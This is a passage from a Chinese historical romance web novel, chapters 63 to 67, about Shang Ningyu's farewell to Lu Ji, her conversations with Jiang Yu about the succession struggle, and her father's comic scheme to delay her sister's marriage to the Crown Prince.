统共接近三年的时间,从岭南回京,她已经看完了几本诸于《天工开物》、《匠心营造》此类的巨著,并在心底对民间如何提升手工织造、农业器具等等,令地方百姓物阜民丰有了一些笼统的见解,趁着这个机会,不如将早就想整理的这些心得落笔成型,浅浅拟个大纲,以后再逐一往里填充细节。 点翠自进商家门,就没像别的贴身侍女一样睡在女娘的脚边,做事却比寻常侍女更加贴心,一听这口气,就知女娘要干什么,回去将衣衫穿戴好,再回正屋推门进入房中。 果然瞧见商凝语正在研墨,她几步上前,在桌上铺上宣纸,商凝语放下长墨,端坐案前,点翠立在一旁,问:“娘子想写什么?” “睡不着,就将这些年看过的书,整理一些出来吧。” 点翠轻笑,煞有介事道:“然后送给陆公子一份,供陆公子参考。” 咳咳,这小妮子,竟然还会打趣人。 商凝语既然一心想要以后追随陆霁外放任职,当个贤内助,攻读的书自然就是她曾对田氏信誓旦旦保证过那些相关书籍,而那些书籍自然也是陆霁能用得上的,但是说供他参考以供科考,那可就差得远了。 横了大胆的小侍女一眼,商凝语将几本巨著搬至桌案,沉眸凝思。 女娘近日心情不佳,点翠原是想活跃气氛,但眼见娘子笑了笑,就开始构思,落笔书写,立刻噤声,规矩地立在一旁,研墨。 商凝语主要是将自己的心得写下来,上次说给田氏听的,外任他乡,若是贫瘠之地,首先要堪察民情,扶犁促耕,推广良种佳穗,正所谓,鸟之双翼,车之双轮,道器并举,方可齐头并进。 若是富庶之地,她就捞捞闲,借用茶艺花艺,助他结交权贵,下通百姓,上达天听,劝课农桑,传授织技,闲暇时分,也可以让那些辛苦劳作的民妇们,尝尝生活的乐趣。 点翠在一旁瞧着,越瞧越不对劲,“娘子,你这是准备给陆公子回信?”—— 作者有话说:今天突然有事,剩下一千字搞不完了[化了],果然不能立flag,明天加油[比心] 第64章 “嗯?” 经点翠提醒, 商凝语方觉知,她这份手札竟也可以算作给霁哥哥的回信,回复他那句“二人未来之规划, 不知某能否详听一二”。 原本应当有些羞涩,但她再看一笔一划记录下来的手稿, 句句古板,陈情中规中矩,字里行间, 无一丝狎昵不妥之处, 便又觉得不是不可。 于是,翌日,她带着手札,坐马车去回春医馆寻陆霁。 隆冬腊月,岁末天寒,京都人口骤涨, 官员觐见, 游子归乡,商贾逐利, 以致一入街市,便见人潮涌动,街衢填咽,万户千门皆是鼎沸之象。 便是如此繁华, 街头巷尾, 五城兵马司的人巡逻更加严谨, 商府的马车在前往回春医馆,短短两条街的距离,商凝语就撞见过三次着统一服侍的吏目。 马车行至回春医馆门前, 陆霁正掀开帘布从后院走出来,手中拿着一封信,见到她,他将书信收回袖中,避开看病的患者,迎上她。 而后引她去往二楼。 点翠在楼下等,遇见乜斜过来、满脸愤懑的药童,笑着上前与他搭讪,商凝语行至楼道,却不再前进,将手札拿出来,递交给陆霁,道:“我就不进去了,这个给你,你看看我写的是否齐全。” 她双目微垂,面色淡然,让人瞧不出一丝异色。 陆霁对她却是极为了解,他伸手接过手札,翻开第一页。 视线落在《春日记事》几字上,眸色加深,掀起眼皮,果然攥住她耳尖的一抹粉色。 顷刻明白,这手札承受了它不应有的重量。 炙热的视线,令佳人面颊难以抑制地发热,商凝语却是什么人,岂容他人笑话,将东西交付了就想离开,却被陆霁一把抓住。 她回过头,一眼瞪过去。 陆霁露出歉色,含笑道:“我有件事想对你说。” 商凝语还以为他又要说什么甜言蜜语,让她等待的话,双唇紧抿,努力抑制笑意。 陆霁见状,眼神更加柔和,心中更加愧疚,却不得不说,“明日,我就要回岭南了。” 商凝语笑容骤然凝滞,好半响才回神,“为什么?” 陆霁五指用力,捏紧了手札,看着她,道:“阿娘生病,我要回家探望。” 商凝语愣了愣,先试探一问:“是什么病?严重吗?” “摔了一跤,郎中说要躺上三个月才能完全好。” 商凝语顿时气笑了,“三个月是什么意思?驿站送信给你,再到你回去,来来回回最快也就是这三个月,他们不知道你在这儿是求学吗?等你回家,婶娘的病都已经彻底好了,还要你回家干什么?” 商凝语看他神色,顿悟:“我明白了,定是冯氏,她见不得你留在京城过年,特意掐准了时间,叫你这个时候回去。” 等你赶回家,正好又到了春耕,还能再哭闹一场,要你下田帮忙! 后面的话,在顾及陆霁的颜面下,终究是吞咽腹中。 商凝语气得七窍生烟,什么旖旎心思都没了。 而且,摔跤这事,都指不定是真的还是假的! 陆霁一眼看穿她的心声,但他对自己的家人也有所了解,宽慰道:“阿娘不会骗我。” 一句话,就回到了现实。 无论陆家嫂嫂是不是故意生事,这个消息既然送到了京城,只要陆霁还想科考,只要天下学子头顶上还压着孝道二字,哪怕已经是年除夕,他也要立刻收拾行囊,准备回乡。 商凝语明白这个道理,可就是气难顺,鼓着腮帮切齿了一会,道:“我这就回去告诉阿爹阿娘,替你收拾行李出来。” “不用。”陆霁忙道,“我来时也没有东西,回去轻车减行就好,不必带多少行李。” 商凝语面上应声,心中却打定了主意,准备回家就让阿娘多给一些盘缠,让他在路上也能过个好年。 陆霁心知她不痛快,拿着手札晃了晃,道:“那我在回去的路上,再好好细看。” 这样也好,免得当面说,好难为情。 遐思回拢,商凝语嘟嘟嘴,“嗯”了一声。在医馆逗留片刻,得知陆霁也是昨日下午得知此事,昨日傍晚便已经告诉了父亲,眼下还要去拜别白老先生。 白家和商家在两个不同的方向,在陆霁的坚持下,她坐着马车先行离开了回春医馆。 坐在车厢里,商凝语依旧意难平,马车行至半道,忽然想起一事,陆霁抵京时,她说要请他吃城南云芳斋的龙须酥,明日他就要走了,她竟还未践诺,立刻吩咐车夫,调转方向,去往城南云芳斋。 在商凝语眼中,现今的京城,热闹喧阗,家家户户在置办年货,人人眼中洋溢着喜悦,为一年之中最能理所当然休息的这几日而欢快。 而在江昱眼中,现如今的京城,像是一颗随时会爆炸的炸药,引线的另一头随时会因为宫中那位万民主宰的意外而引燃。 静水流深,近日,乔氏旁支接连受挫,或贬或囚,昔日盘根错节的势力,如光下白雪,顷刻消融,东宫一脉,折损惨重,元气大伤。 相比禹王这方,截然相反。 先皇后母族谢氏,昔日在国母崩逝后,曾臆想将族中女子替代先皇后送入宫中,令宣德帝十分厌恶,这便如参天古木出了一道裂隙,顷刻之间便被依附其身的虫豸争相蛀蚀,短短几年,在宣德帝漠视下,内外朽坏,而后被乔家取缔,以致埋名。 而今,众人得知,跟随在禹王殿下身边最得力的那名老将,却是出自谢家,姓钱,乃是谢氏乐善好施,资助的一名孤儿,这位钱大将军,名下有一义子,名叫谢敏,这才是血脉纯正的谢家子弟,禹王的嫡亲舅舅,与禹王同岁,却是先皇后的幼弟。 这位谢敏乃是百年难遇的军事奇才,用兵如神,当年在谢家彻底没落后,跟随钱将军逃至边疆,隐姓埋名,从一名小卒做起,待禹王远赴西北,他已经是一名虞候。 现如今,禹王留滞京中,这西北大营,便由这位谢小将军赞领行军司马一职,谢氏族人相继起复。 不过,谢家这些年教养出来的弟子大多居于平庸,那些因乔家失势辗转落入谢家的官职,也只是给了曾受助于谢家的寒门子弟,或是谢家学堂收容来的白衣学子。 谢乔两家已经彻底颠覆,朝臣也相继倒戈,昔日中立之臣,察言观色,见风使舵,暗中早已投向禹王,太子一党暗中更是操作不断,近日皇城之内,都已经引起了近十次纷乱。 万事俱备,只欠东风。 可惜,圣上已经连续昏迷三日,御医们日日留守宫中,也不见起效,江昱能做的就是守,守住城中百姓,守住各大城门,短短数月,他已经与同僚混得十分热络,皇城内外松内紧,京城街道,看似松散,实则尽在掌握之中。 这日,有吏目远远见到商家马车的标识出现在城南地界,趁着闲暇折返回去,告诉了江昱。 商凝语步下马车,走进云芳斋,江昱转过街角,目光就朝云芳斋屋前瞧来,恰好抓住她衣袂翻飞的一角。 掌柜迎上新客,道:“娘子第一次来我店里?平日喜欢吃什么口味的,我给您介绍。” 商凝语颔首:“虽然是第一次来,但你家的龙须酥,我早有耳闻,且先包上一包给我。” “好嘞,娘子好眼光,这龙须酥可是小店的招牌,娘子再看看,可还需要什么。” 点翠随着掌柜的指引,来到放置龙须酥的柜前。 商凝语再看这厢,目之所及,各色糕点琳琅满目,造型精巧,不一会儿,就叫人看花了眼,便是她这种自己就会制作点心之人,也忍不住看呆了,默默咽了咽口水。 “喜欢哪个?我给你买。” 忽然,耳边咫尺之间,传来一道低沉的声音。 她浑身僵硬,一动也不敢动,无他,就怕稍稍动一下,就撞进此人怀里。 点翠眼睛一瞪,快步冲过来,不料被一旁的吏目给拦住。 商凝语眼角瞥了眼茫然无措的掌柜,顿时落下脸来,也不惯着他,直接伸手将此人的肩膀推开。 转过身来,木着脸道:“我有银子,我能自己买。” 江昱后退一步,轻笑,“你的银子留着,攒嫁妆。” 他已经不是国子监的学生,而是正式在南城兵马司任职,每日点卯,一刻不曾落下,这日,正是穿了缁色的云纹官服,腰扣素面青铜狴犴,腰间横刀,双目在这一身气宇轩昂的映衬下,愈发冷艳。 只这轻轻一笑,却如冰雪春融,潋滟生辉。 商凝语觉得他好像突然间变了个人似的,又好像没变,还是那个目下无尘,眼高于顶的勇毅侯世子,但他看她的眼神,却已经少了许多的愤怒和不甘,而多了一种别的意味。 她忽然恶向胆边生,淡然回视,道:“我是买来送给霁哥哥的,就不麻烦你了,多谢。” 江昱眉头微挑,忽然轻轻一笑,继而,仿佛觉得这真的是一件可笑的事,扶额又笑了两声,摇了摇头,连退两步,做了个“请”的姿势。 商凝语没理他,转身与掌柜的交涉,挑了五个不同的品种,包了一个大包,掌柜见多识广,接银子时,觑了一眼江世子的脸色。 商凝语考虑这是人家的地盘,也不为难掌柜,放下银子就走,点翠往吏目小腿上狠踢一脚,对着室内几人冷哼一声,赶紧跟上。 江昱转身跟出去,目送头也不回地踏上马车的某个人,心绪仿佛又回到那个被她拿捏的池边小楼里,不由得握紧了刀柄。 第65章 陆霁最终并非独身一人回乡, 白老先生得知他的家乡在岭南,骤然神往,不顾儿子儿媳的劝阻, 带着一双孙儿孙女,踏上凛冬远游的路。 “如此也好, 霁哥儿在回去的路上总算不寂寞了。” 清晨,一家四口难得聚在一起用早膳,田氏睇了一眼垂首落寞的商凝语, 脸上盛着浅浅喜意, 对商晏竹道。 商晏竹掰了一口素馅包子放进嘴里,闻言笑了笑,眼下已经有不少门户借故离京,远遁他乡,白老先生乃是文豪之首,在天下文士眼中地位尊崇, 此时能带着孙儿离开, 不失一条延续血脉的好计策。 如此想着,他落下眼睑, 眼底露出深思。 “阿娘说的是,陆兄求之不得,如此,恰好可以在半道上继续向先生请教学问。”商凝言很给田氏面子。 商凝语撇了撇嘴, 不说话。 “也是, 说起来, 霁哥儿才在京中待了不足两个月,这么短时间,能学什么?” 语毕, 田氏又乜斜一眼过去,见她还是那副可怜兮兮模样,忍不住搁了筷子。 哼声道:“当初有那个决定,今日就得有这个觉悟,他家里情况摆在那,现在使性子给谁看?要么,你现在就反悔!要么,给我摆上笑脸,待会开开心心地将人送出城,别叫人心里担心,回去耽误学业!” 饭桌上,气氛骤然凝滞。 商凝语深出一口气,将郁结从心中驱除,道:“知道了。” 好友离京,江昱很快得知消息,他这才知晓陆霁要走了,被商凝语气得牙痒痒的那点不甘顷刻消失殆尽,转日在衙门里说了一声,就守在城南门口不远处。 巳时初,城南门口来了一行意外之客,江昱随意掉头一瞥,瞧见之后,嘴角上扬,打马向城门口走去。 他没注意到,在他掉转头的时候,白府的两辆马车终于出现在了城门口街道的尽头,商家的马车紧随其后。 他高座马背,朝来人拱手道:“陈大人,许久未见,总算盼到你回京了。” 陈寿乃是刑部侍郎,乔家旁支接连出事后,乔文川秘密逃出京城,平亲王能力不足,只能日日去宫里哭诉,宣德帝焦头烂额,便命刑部彻查平亲王世子和方家小娘子被杀两桩联案。 乔文川故作聪明,从城西逃出去后,辗转向南逃去,陈寿连夜出城,整整三日,终于将他堵在城南十里地外的驿站里。 眼下,乔贵妃毕竟还在宫中,名义上依旧是圣上身边最为得宠的贵妃,陈寿给乔贵妃留份面子,将乔文川捆绑起来,关在身后马车里,自己骑着马押送回京。 见到江昱,陈寿笑不及眼底,道:“真是巧,在这里遇见江世子。” 兵马司的五名吏目不动声色地上前,将马车围拢住,来往路人瞧见异状,纷纷缓步翘首。 车行骤缓,商凝语掀开车帘,也瞧见了江昱,陆霁则认出了陈寿身上的紫色官袍,沉吟片刻,对商凝语叮嘱:“赵世子的案子,若有大人再来询问你,你切莫再胡言乱语,需得如实禀告。” 提及此事,商凝语便有些心虚,她还欠陆霁一个解释。 点头应下,她神色严肃,开口道:“我先前不知道江昱的心思,以后不会再和他来往了。” 陆霁扬眉,似乎有些惊讶,顷刻间后,含笑颔首,“好,我信你。” 商凝语展颜,此时,外面骤然传来一阵骚动,他二人掀开车帘朝外望去,只见前方道路两旁的人群朝着马车指指点点,不知何时,江昱用剑柄挑开了对方马车的车帘,乔文川手脚被捆,口中塞布的狼狈模样在光天化日之下,暴露世人眼前。 再也不见昔日彬彬有礼的玉公子形象。 活该! 商凝语面露讥讽。 像这种前一秒还能和你亲亲我我,下一秒就能手起刀落,至你于死地的男人,死一百回也不足惜。 清风掠过,陆霁眉头微皱,道:“君子绝交,不出恶言,何必辱他至此,赶尽杀绝?” 商凝语:“!” 商凝语放下车帘,叹:“你是君子,可人家是小人,君子有君子的处世之道,但对付小人,就得以牙还牙,捣其软肋。” 陆霁笑笑。 只因他知晓,她不会因为这种报复的快感,就乱了心性,她心中有杆秤,永远知道自己要做什么。 冬风席卷,撩起车帘的一角,他透过罅隙,看到似有所觉目光朝这厢看来的江昱,免不住压下了眉眼。 江昱眼睛一亮,心情颇好地放下车帘,对陈寿道:“陈大人公务繁忙,下官就不多打搅了,您慢走不送。” 陈家侍卫面上生怒,欲推开阻拦的吏目,被陈寿抬手制止,一挥手,吏目到底摄于侍郎大人的官威,自觉退至一边,马车继续前行。 马车远去回至衙门,四下无人时,那名侍卫忍不住近身询问:“大人身负皇命,未依附太子和禹王任何一方,何必要给他一个侯府纨绔脸色?” 陈寿哼笑了一声,“你以为圣上安排本官追查此案,是还想让本官继续保持中立?” 侍卫一顿,“大人是要?” 陈寿叹:“明哲保身是不可能的了,但本官也有为难之处,且让他两道,也是给足了禹王面子。” 街头人群散去,秩序逐渐恢复,江昱驱马上前,在白家马车前停下,白家的马车宽敞,里面铺置了足够的垫褥,白老先生双目微阖,靠壁休憩,听闻求见,淡声道:“世子离开监学,如今又拜入禹王府门下,不必再对老夫如此客气,也不必相送,请回吧。” 江昱摸了摸鼻子,心知是方才举措得罪了这位德高望重的老夫子,退至一边,请马车先行,白池柊坐在后面的马车内,掀开车窗,朝他投去幸灾乐祸的一瞥。 三辆马车不急不徐地朝城门驶去,不一会儿,就顺利出了城,车厢内,商凝语若有所思,方才老先生的话传进她的耳朵中,意思很明显,是因为江昱投靠了禹王殿下,他才会对乔家落井下石。 太子靠着卑鄙手段拿捏他十多年,没想到短短数月,他翻身而上,就明目张胆地敢欺负太子的人。 这个念头一冒出来,她心中的疑惑随之而生,恨不得立刻上前追问。 继续让他答疑解惑。 但她顾念陆霁,忍住了,苦思冥想,以至于马车行至城外五里地,到了一处小长亭,还是没有将这个想法压制住。 白老先生爱惜小年轻的单纯情谊,吩咐马车继续缓行,留下白池柊在原地等候。 陆霁走下马车,商凝语依依不舍地看着他,叮嘱:“路上小心,多保重身体,也别傻傻的你阿娘和你嫂嫂说什么你都听着,你告诉他们,你若是考上了,以后会报答他们,他们胆敢再拿你前途作为要挟,你就六亲不认,总之一句话,狠的怕横的,别拿你那套君子作风对付他们,没用!” 陆霁失笑,“好,明白了,快回去吧,外面冷。” 田氏终于狠心,放女儿送这位内定的贤婿一程,临去前,再三叮嘱,要尽快回来。 商凝语语滞了一瞬,抿唇,忽然坚定道:“我收回方才在马车上的话。” 陆霁微微一愣。 商凝语说:“我再去寻江昱问一件事,最后一次。”她强调。 陆霁迎着她的目光,心神一动,却说不出半个不字,许久,从咽喉处吐出一个字,“好。” 商凝语展颜,三步两回头地回到马车上,看着陆霁上了白家马车,才吩咐车夫回城。 临近晌午,天空飘起了鹅毛大雪,不一会儿,地上就落了白。 车夫朝车内道:“七娘子,江世子跟上来了。” 商凝语并未惊讶,掀开车窗,果然瞧见江昱大马金刀的坐在马背上,闲适地看着她,银装素裹下,他的玄色织金斗篷在雪白背景下,将他衬得更像是从画中走出来。 商凝语扬声道:“你饿不饿?我请你吃饭,去不去?” 江昱扬眉,驱马靠近马车,“怎么?陆小郎君才一离开,你就念起先生的好来了?” 商凝语木,“你到底去不去?” “去。”江昱切齿,“商七娘再三邀请,怎敢不去?” 商凝语嗤笑,放下车帘不搭理他。江昱嘶了口气,敲了敲窗棂。 木制窗棂在指骨间发出沉闷的声响,他的声音伴随而来,“本世子没得罪你吧?不就是倾慕你,你也不至于对我如此厌恶吧?” 商凝语沉声回:“我没厌恶你,只是我既然知晓你的心思,男女授受不亲,就应该与你避嫌。” 这回轮到江昱嗤她了。 商凝语咬紧牙根,心中保证,最后一次,这一定是最后一次! 马车在城南一家酒楼门前停下,商凝语携点翠进入店里,江昱紧随其后,在店小二的指引下,相继走进一间包厢。 包厢内用屏风格外内外两间,点翠和花不谢在外面一桌,这厢,商凝语与江昱对坐。 江昱点了几个招牌菜,不一会儿,五菜一汤一甜品上齐,江昱夹了一块烤乳鸽给她,边道:“这家酱卤味道不错,推荐你尝尝。” 商凝语如临大敌,双眉一蹙,用手将碗隔开,“我可以自己夹。” 江昱也不惯着她了,冷笑:“我跟了你半日,现在饿得很,你不吃了这口,什么也别想问。” 商凝语顿时觉得自己这次是进了狼窝,但是心底到底还是存了一点信任,觉得他不会胡来,移开手掌。 江昱嘴角扬起一丝笑意,将乳鸽放在她碗中,用眼睛看着她。 第66章 商凝语低头尝了一口, 继而没再给他得寸进尺的机会,开门见山地问:“你对乔家落井下石,不怕太子再寻你麻烦吗?” 说话间, 她从碗中抬眸,观察他神色。 江昱对她有此一问并未感到惊讶, 放松了身体,靠在椅背上,道:“不怕, 我现在就怕他不来找我的麻烦。”眉宇间流露出一抹狠色。 遥想当初马球会上, 他对太子倨傲不逊,言语中也没敢太过放肆,只敢含沙射影,借力打力。 现如今,仿佛豁了出去。 商凝语不与他绕弯子,一字一顿, 缓缓道:“你, 是不是想扶持禹王殿下,所以故意与太子作对?” 江昱挑眉:“这还不明显?我以为你知道。” 转念一想, 想起来她身居内宅,消息不通,她父兄可能也不会与她说这些,又道:“与你没关系, 你四姐姐不是还没入东宫?你大伯也辞去官职, 眼下伯府不站队, 你不必害怕。” “可是,”商凝语难以言表,寻找措辞避开忌讳, “依你的意思,难道婚期到了,我四姐姐也不入宫?” 圣上薨逝遥遥无期,难道要四姐姐一直等?这朝堂之事,她丝毫不懂,但也知晓,两王相争,必是血流成河,若是商明惠未进宫,伯府尚能保一时安稳,一旦进宫,商明惠的性命就与东宫紧密相连,要她怎么能甘心就这样看着? 怎能不害怕? 江昱见她着实着急,面上露出了疑惑,“商三爷还没想到办法,毁了婚事?” 果然! 商凝语心下一沉,垂眸道:“祖父祖母看得严,阿爹没有机会下手。” 江昱眉头一挑,继而冷笑:“也是,当年忠勤老伯爷就想与乔氏连成一体,如今又怎舍得这块肥肉,吃下又吐出来?” “那是我祖父,”商凝语淡淡警告,“而且,我四姐姐都告诉我了,祖父投靠贵妃,并非故意为之。” 江昱耸肩,旋即面色淡下来。 如此可就麻烦了,伯府如果非要卷入这场漩涡,这小娘子就不能独善其身,难道要他眼睁睁看着,她站到与他敌对的一面去? 江昱指腹摩挲,半响,掀起眼睑,看了一眼对面同样心事重重的女娘,道:“我懂你此刻的心情。” 说着,他直起身子,舀了一碗羊羹放在她面前。 口气平稳:“我也很惜命,否则不会忍了赵曦十多年。” 在商凝语视线看过来时,他抬了下巴朝羹汤示意,见她忍辱垂眸,却还是执起汤匙喝下一口,展颜笑问:“那你知道我为何突然就不怕他了吗?” 商凝语耐着性子想了想,道:“因为禹王殿下英勇神武,你觉得他有能力胜过太子。” “这也的确是其中一个重要原因,”江昱也给自己舀了一碗羊羹,边道:“禹王兄乃是先皇后嫡子,当年若非先皇后阻拦,他早就是太子,是圣上以为可以等他长大成年,这才错过时机。” “禹王兄少年成才,礼贤下士,在西北更是守卫疆土,为我大盛抵御外贼,护关内百姓平乐安稳立下汗马功劳,便是如此,他也不想赶尽杀绝,是赵曦欺人太甚,年年派人混入军中行刺,如此心胸狭窄之人,怎堪配担当大任?” “诚如你所知,当年或许乔家并未对先皇后下手,但谢氏一族的没落,以及禹王在西北的境遇,却全都是拜他们所赐。” 商凝语认真听着,不予置评。 羊羹性温,喝了之后,她浑身出汗,鼻尖冒出了点点晶莹水珠,眼眸更是在羹汤的熏蒸下,氤氲了一层水汽。再看她神色,垂眸避着他的视线,做出一副虚心求教的姿态,格外乖巧。 江昱目光凝视,声线平缓,仿佛只为陈述一件事实,最后他道:“我选禹王,是因为我认为,他会是一名贤君,但我敢站在他身侧,是因为我母亲。” 商凝语微惊,掀起了眼眸:“长公主?” “对,”江昱饮一口汤羹,润润嗓子,道,“我母亲是个胆小懦弱的人,自幼长在宫里,先帝皇子众多,皇舅那时候也不得宠,我母亲就收着心思四处讨好,我听老嬷嬷提起过,我那位被人刺杀而亡的大皇舅,骑射十分了得,可惜他膝下多年无子,所以受先帝嫌弃,母亲花了三个月时间绣了一幅百子图给他,央他教授皇舅骑射。” “这也因此令三皇舅着恼,不过,三皇舅与大皇舅本就不对付,没过一年,大皇舅府上添新丁,二人关系更加恶劣,乃至不出半年,大皇舅遇刺被害,我母亲这时,又小心地侍奉在懿德皇后身边,让皇舅受先帝青睐,其中辛苦,自是不可细说,但艰难可想而知,甚至为了打消三皇舅的疑虑,母亲曾答应先帝赐婚,嫁给了三皇舅母族的一位旁系子弟。” 这个商凝语在赴宴时,有所耳闻,清平长公主现如今嫁入的侯府乃是二婚。 “再说十多年前,先皇后崩逝,母亲敏锐察觉到,谢氏一门不保,禹王势微,便求到国公府老太君跟前,求老太君庇护殿下一二,老太君怜惜先皇后英年早逝,应了下来。再后来,她又发现太子善妒,便叫我隐忍克制,避其锋芒。” 说到这里,他看着商凝语,缓缓道,“那日你救我,我母亲就进了一趟宫中,回来后,她告诉我,我以后都可以不必再忌惮赵曦了。” 商凝语浑身发颤,她依稀记得,就是从那次之后,江昱在南城兵马司挂了职,江昱是想告诉她,清平长公主虽然沉浸烧香礼佛,但对皇室朝局有格外敏锐的洞察力。 为何清平长公主进了一趟宫中,就能得出如此结论?或许只有极为亲密的人,极为了解的人,才能辨识,江昱是想告诉她,清平长公主试探了君心,并且察觉出来圣上的决心。 而圣上,也没避着这位于自己格外有恩,又聪慧睿智善忍善断的嫡亲妹妹。 这样的信号,足以说明,太子一党,必倒无疑,这也可以说明,为何禹王殿下回京仅仅两月,却能力压太子,原来,这背后操纵之人一直是圣上,或许也可以说,是圣上在等这个机会。 “那位四姐姐怎么办?”商凝语心生慌乱,“我阿爹一生清贫,从未投靠太子,圣上为何不撤回旨意?难道是要我们全家也跟着陪葬?” 江昱忽然想到一件事,敛起眉目,道:“据我所知,你大伯的官职是被你爹搅黄的,我猜,你爹应该不会放任你四姐姐进入东宫。” 这句话现在已经不能说服商凝语。 商明惠进宫的日期定在开春后二月初八,此时再没有解决,难道要等到年后?只怕到时候非但不能取消婚事,反而引起圣上怀疑,继而降罪下来。 江昱问:“需要我帮忙吗?” 商凝语用怀疑的眼神看向他,“你能有什么办法?” 江昱摊手,“办法多的是,你祖籍在哪里?我可以找人将你四姐姐送回祖籍地,让你四姐姐消失几个月,待事情平息了再放她回来,也可以在赵曦身上下手,如果他出事,你爹可以直接求到老太君跟前,求老太君出面,将婚事暂缓。” 这怎么瞧都不是好办法,首先,商明惠若是消失,于京都娘子而言,无异于毁掉名声,直言去祖籍,又有几个人能信?便是信了,焉知太子不会派人去追回? 对太子下手,更是危险,若此事能轻易办到,只怕禹王和江昱早就动手了。 商凝语没有心情陪他嬉闹,火速吃了几口,就说自己饱了,唤来店小二要结账,店小二愣了愣后,扫了眼江昱,江昱挑眉质问:“看我做什么?七娘子要结账,你把账单给她便是。” 店小二连忙应声,不一会儿拿来账单。 商凝语接过账单,仔细一瞧,大惊失色,区区七个菜,就要二十两,她一个月也才二两月银,这一顿饭等于要了她近一年月例,上次孙苗苗请客也才三两! 她目光倏地横向江昱,眼里盛满了质疑。 江昱心中闷笑,面子上扬眉,故意道:“怎么了?银子都在昨个儿花光了?” 她不提昨日还好,一提昨日,更加确信是他在背后捣鬼,将账本扔给店小二,道:“将你们掌柜的叫过来,我要核账。” 店小二立马露出难色,“娘子,咱们这都是明码标价,童叟无欺,您这,这不是” “好了好了,”江昱大笑起来,挥了挥手,谢花儿朝店小二使眼色,店小二赶紧跟着溜出去,江昱朝商凝语道:“我堂堂勇毅侯世子,难道还真要你请客?别慌,下次也不需要你请回来。” 见状,商凝语又怀疑是自己误会了。 商凝语脸皱成一团,也不与他计较这个,起身离去,江昱立在窗边,目送马车渐渐消失在视野里。 谢花儿拎了一壶小酒上来,凑到主子跟前,跟着注视了马车的尾巴,叹了口气,道:“世子,您说您这是何苦来哉?怎么就没告诉七娘子,上次那顿饭也是您请的?怪不得七娘子要误会。” 江昱冷了脸。 他倒是想,但他就是没忍住。 第67章 商凝语回府后, 将所有可能是商父想到的办法都假想了一遍,甚至将昔年商父在岭南查办的案件也借用过来套用了一番,最后觉得只有一种可能——下药。 依照江昱的想法, 想避难,出事的不是太子, 就是商明惠,显然,太子那方, 商父是没有办法的, 而商明惠这方,不外乎“拖延”二字,但是她不能消失,得好好在京都待着,能拖延下去,就只能有过硬的要求, 令圣上也无话可说。 在乡下, 婚期延迟对于女方来说,也只有一种可能, 那就是生病,让夫家忌惮,不敢轻易迎娶。 这就容易解释商明惠为什么到现在还未出事——后厨一直是祖母和大伯母把持,商父无从下手, 更何况, 梨棠院内部都布满了祖母的眼线, 只怕这梨棠院之外,也有人在暗中盯着。 有了头绪,商凝语沉下心, 这天日落,听闻梨棠院晚膳用得不多,她便去了三房后院的小厨房,下粉、和面、揉团、切片,待水沸后,下至锅中。 有后厨嬷嬷上前搭讪,“七娘子这是晚膳用得不合口味,要来亲自下厨?” 商凝语笑得落落大方,“不是,四姐姐今晚没胃口,我想着给她做一道梅花汤饼,酸甜可口,你知道的,四姐姐最喜欢吃我做的东西。” 嬷嬷笑容滞了滞,点头道:“说的是,四娘子口味叼,府上做得点心她从来不吃,就是七娘子您做出来才合四娘子的胃口。” 嬷嬷奉承几句,商凝语有说有笑,有时候还让点翠搭把手,做得差不多的时候,翠竹堂的一个小侍女过来喊:“七娘子,三爷叫您过去一趟。” “马上就来,”商凝语朝外应下一声,将最后一片面片放进锅里,卸下围裙,用抹布擦拭手掌,边叮嘱:“点翠,待会锅开了你就端去给四姐姐,千万别忘了,把我前几日做的豆豉酱也备上。” “别别,哪能劳烦点翠呢,老奴待会亲自给四娘子送去,一定告诉云锦,这是七娘子亲自动的手。”嬷嬷忙上前,哄笑着对点翠道。 点翠朝她龇牙瞪眼,“不行,我家娘子做的,必须我亲自送去,谁也不准抢我的功劳。” 说完,一把将嬷嬷推开,俨然一副忠心护主的样子,伯府上下无人不知七娘子身边的点翠是个爱拈酸吃醋的,谁若敢接近七娘子,准遭她一顿贬斥。 眼见点翠拿起菜刀剁起了葱末,木板砰砰砰直响,嬷嬷打了个激灵,闭上嘴。 商凝语走进翠竹堂,主屋门前,田氏端手站立,给她朝花厅递了个眼色,便转身回了屋。 花厅双门敞开,商晏竹正在看书,听到动静,喊她进去。 待商凝语在侧方位坐下,商晏竹放下书,问:“你叫人盯着我,做什么?” 商凝语模样有些不自然,清了清嗓子,道:“没事,我就是听说四姐姐晚膳没用,决定去给四姐姐做一份面羹汤送去,想起阿爹最喜欢喝我做的面羹汤,所以来问问,阿爹要不要也来一碗?” 商晏竹放书的手顿住,睁眼看过来,问:“你给你四姐姐做?” “对啊,”商凝语用指腹扫了扫鬓角碎发,随意道:“阿爹不知道吗?四姐姐最喜欢吃我做的东西了,每次都要吃干净,一滴不剩。” 一字一句,吐字清晰,尤为强调最后一句。 商晏竹落下眼睑,半响,又掀开眼帘,在她周围扫了一眼,淡声回应,“那很好,你二人姐妹情深,为父深感欣慰。” 商凝语没好气地暗自白了一眼,撇撇嘴,从袖中拿出一个精巧的竹筒,放在桌上,道:“吃面羹当然要配上我独家专研的酸辣酱,想起阿爹喜欢,但是阿娘不让阿爹多吃,我特意给阿爹留了一筒,阿爹外出赴宴,倒是可以尝尝。” 说罢,利落地起身,福礼道:“没事了,我先去给阿娘请安,待会再去四姐姐那里看看四姐姐吃完了没有。”离开时,不忘关上屋门。 幼女来去如风,说话犹如炮仗,神色更是夹杂着火气,商晏竹发了一会愣,蓦地,轻轻一笑。 他起身走到侧位桌前,拿起竹筒,只稍稍一拧,一股香辣味扑面而来,竹筒里,酱料充足,红油沾在竹壁上慢慢回流,让人一看就口舌生津。 在岭南,商晏竹就好这一口,但他胃不好,不能吃辛辣,因此商凝语不知被田氏埋怨又警告过多少次,回到京都后,商晏竹严于律己,被商凝语瞧出来,父女二人已经很久没有这般狼狈为奸了。 商晏竹咽了咽口水,到底是忍住,没有伸出手指尝上一口。 他将藏在身上许久的白色药包拿出来,悉数倒进去,用竹筒上嵌着的竹签搅拌均匀,而后从窗口扔掉竹签,开门走了出去。 “阿娘再见,我先走了。”商凝语瞅准了时机,辞别田氏走出主屋。 商晏竹握拳抵住嘴边,唤:“站住。”说罢,将竹筒扔进她怀里,义正言辞道:“你阿娘说得对,我现在哪能再吃这个,还是你自己留着吃吧。” 青色竹筒在空中划了个半圆,掉进怀中,欣喜之余,商凝语浑身僵硬,眼睛圆瞪。 啊啊啊,她的毒父! 果然,身后传来一声怒喝:“商凝语,你敢又犯我大忌!” 商凝语气恼地朝父亲一通龇牙咧嘴,不等田氏追出来,连忙将竹筒收进袖中,一溜烟跑了。 